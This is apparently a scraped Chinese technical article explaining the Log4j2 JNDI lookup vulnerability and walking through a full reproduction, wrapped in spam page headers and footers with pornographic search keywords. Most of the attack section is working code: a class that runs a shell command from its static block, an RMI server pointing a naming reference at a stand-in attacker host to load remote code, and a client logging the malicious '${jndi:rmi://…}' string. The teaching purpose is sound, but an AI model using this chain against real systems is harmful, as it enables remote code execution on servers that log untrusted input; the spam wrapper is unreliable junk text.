成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Log4j2被爆高危漏洞,漏洞如何復現,原理是什么呢??

安全 漏洞
我們之前使用的log打印一般是log4j,然后就是logback當然springboot默認的也是logbac。因為在性能上logback優于log4j,從官網上看log4j2性能會優于log4j及logback,所以后面不少人升級成log4j2當然好像這幾個的作者都是同一個大神。

相信大家看到最多的就是這張圖片了,打了碼,還出來個計算器

圖片

Stringsource="${jndi:rmi://黑客IP:1099/test}";
logger.error(source);

上面這段代碼并不會像預想的打印出字符串,"${jndi:rmi://黑客ip:端口/test}"出來,如果這個日志是在自己的機器里打印的,就會在自己的機器里啟動計算器工具。

這現象的原理是什么呢?

關鍵就是這兩條:

1、log4j2打印日志時,部分字符串會當成命令名服務被執行。

2、log4j2可以通過jndi:rmi下載遠程代碼,并在自己機器執行。

以下是詳細說明:

Apache Log4j 2 Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.   Important: Security Vulnerability CVE-2021-45046 The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up.  Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.  Details It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.  Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

以上是apache官網的一段說明,我們之前使用的log打印一般是log4j,然后就是logback當然springboot默認的也是logbac。因為在性能上logback優于log4j,從官網上看log4j2性能會優于log4j及logback,所以后面不少人升級成log4j2當然好像這幾個的作者都是同一個大神。

回到我們的問題為什么會出現這種問題,還是官網上說的log4j2提供了一些可以讓用戶查詢一些配置信息。

圖片

上圖可以看出log4j2通過 http://logger.info("${java:hw}")可以打印出服務器cpu信息出來而不是字符串“${java:hw}”,大家可以看到這個就類似sql注入,另外一個關鍵的就是log4j2此功能是通過java lookup實現的,也就是說黑客可以這樣操作:

圖片

從上圖可以看出,最關鍵的地方就在紅色部署,用戶機器會下載黑客的可執行文件并在用戶機器上執行就是這病毒了,最上面演示的demo就是黑客讓用戶執行了自己機器上打開了計算器工具。

如果大家想自己實驗一下可以參考以下的代碼,這個是引用了網上一篇博客:

原文鏈接:https://blog.csdn.net/lizz861109/article/details/121928916

當然這篇博客沒有實現 rmi://127.0.0.1:1099/xxxx 這個rmi服務代碼可參考:

p.s. 網上很多程序都不完整或打了碼

//step1:在黑客機新建HackerObj.java 

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:12
 */
public class HackerObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null) {
            sb += lineStr + "\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name,
         Context context, HashMap<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            System.out.println("黑客程序在此機器被執行了。");
            exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

//step2:在黑客機把HackerObj.java編譯成HackerObj.class,然后開個nginx把HackerObj.class放進去讓它可以在網絡上訪問,如: http://黑客ip:8080/HackerObj.class

p.s. HackerObj.java創造時不要放在package里,放package里好像被用戶下載會提示notfindclass,有空再研究一下。

//step3: 創建個Server.java啟動黑客rmi服務

package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * @Author: hanko
 * @Date: 2021-12-16 9:18
 */
public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://黑客ip:8080/HackerObj.class
        String url = "http://黑客ip:8080/"; 
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("HackerObj", "HackerObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("test", referenceWrapper);
    }
}


//stpe4:在用戶機新建Client.java,

package com.jndi;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:27
 */
public class Client {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:rmi://黑客ip:1099/test}");
    }
}


// 在用戶機執行Client.java會發現“黑客程序在此機器被執行了。”
//在用戶機器打印出來了,同時用戶機器計算器工具也被打開了


//step5: log4j2  復現就是用以下代碼
 logger.info("${java:vm}");
 logger.error("${jndi:rmi://黑客ip:1099/test}");

總結

關鍵就是這兩條:

1、log4j2打印日志時,部分字符串會當成命令名服務被執行。

2、log4j2可以通過jndi:rmi下載遠程代碼,并在自己機器執行。

責任編輯:武曉燕 來源: 棧江湖
相關推薦

2022-01-27 09:16:08

CPU內存.NET

2021-12-30 08:55:41

Log4j2FastJson漏洞

2022-02-13 23:51:44

DeepfenceLog4j2漏洞

2021-12-11 13:29:36

SpringBoot 官方

2022-03-30 11:29:53

漏洞補丁Spring

2021-12-13 07:28:34

Java漏洞復現

2022-01-24 10:02:53

漏洞微軟網絡攻擊

2010-08-23 15:50:43

2021-12-23 06:51:54

阿里云Log4j2漏洞

2021-12-13 01:49:34

漏洞Log4j代碼

2021-12-16 10:43:04

黑客網絡攻擊漏洞

2022-01-10 11:16:40

漏洞 Log4j2Jndi

2013-02-22 13:39:57

2021-12-29 06:54:23

Log4j2 漏洞績效

2021-12-20 09:32:55

Log4j2漏洞攻擊

2021-12-14 06:59:39

Apache Log4j2 漏洞

2022-05-30 14:04:23

Log4j遠程代碼漏洞

2013-06-26 14:32:18

2021-12-23 09:47:36

Log4jRCE漏洞DoS漏洞

2021-01-28 17:32:44

Sudo漏洞Linux發行版
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 伊人久久一区二区 | 亚洲欧美日韩精品久久亚洲区 | 91免费入口 | 日本成人福利视频 | 免费精品| 成人性视频免费网站 | 99热这里都是精品 | 欧美专区在线 | 成人免费精品视频 | 久久久妇女国产精品影视 | 国产精品久久久久久久久久三级 | 99免费在线| 九色91视频 | 精品国产一区二区三区久久 | 国产日韩一区二区三区 | 亚洲国产欧美一区二区三区久久 | 自拍偷拍第一页 | 亚洲高清在线 | 一级黄色片网址 | 一本大道久久a久久精二百 国产成人免费在线 | 国产成人精品午夜视频免费 | 成人免费久久 | 国产一区999 | 精品欧美乱码久久久久久1区2区 | 日韩欧美在线播放 | 色婷婷综合网站 | 日韩在线视频一区 | 在线观看中文字幕视频 | 亚洲日韩视频 | 亚洲天堂av在线 | 成人网在线| 成人免费视频网站在线观看 | 日本xx视频免费观看 | 国产精品日日做人人爱 | 国产亚洲精品精品国产亚洲综合 | 99福利在线观看 | 99在线免费视频 | 国产欧美一区二区三区在线看蜜臀 | 7777精品伊人久久精品影视 | 国产精品一区一区三区 | 国产精品一区二区av |